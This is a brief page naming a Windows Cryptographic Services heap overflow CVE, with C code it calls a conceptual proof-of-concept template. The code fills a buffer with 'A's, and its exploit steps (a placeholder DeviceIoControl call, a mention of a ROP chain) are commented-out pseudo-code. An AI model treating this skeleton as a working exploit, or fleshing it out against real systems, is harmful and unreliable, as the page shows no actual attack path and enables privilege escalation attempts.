CVE-2026-40377 Windows加密服务堆溢出漏洞

/* * PoC for CVE-2026-40377 (Conceptual) * Trigger: Heap Buffer Overflow in Windows Cryptographic Services * Impact: Local Privilege Escalation * Note: This is a conceptual template generated based on description. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hService; BYTE payload[0x1000]; DWORD bytesReturned; printf("[*] Triggering PoC for CVE-2026-40377...\n"); // Initialize payload with pattern (e.g., 'A's) memset(payload, 0x41, sizeof(payload)); // In a real scenario, specific offsets and return addresses would be placed here // to hijack the execution flow (e.g., ROP chain). // Attempt to interact with the vulnerable Cryptographic Service interface // This usually involves RPC calls or specific API interactions. // The following is a generic representation of sending malformed input. // Pseudo-code for interaction: // hService = OpenVulnerableServiceHandle(); // if (hService) { // DeviceIoControl(hService, IOCTL_VULNERABLE_FUNC, payload, sizeof(payload), NULL, 0, &bytesReturned, NULL); // printf("[+] Malicious payload sent. Check privileges.\n"); // } else { // printf("[-] Failed to access target service.\n"); // } return 0; }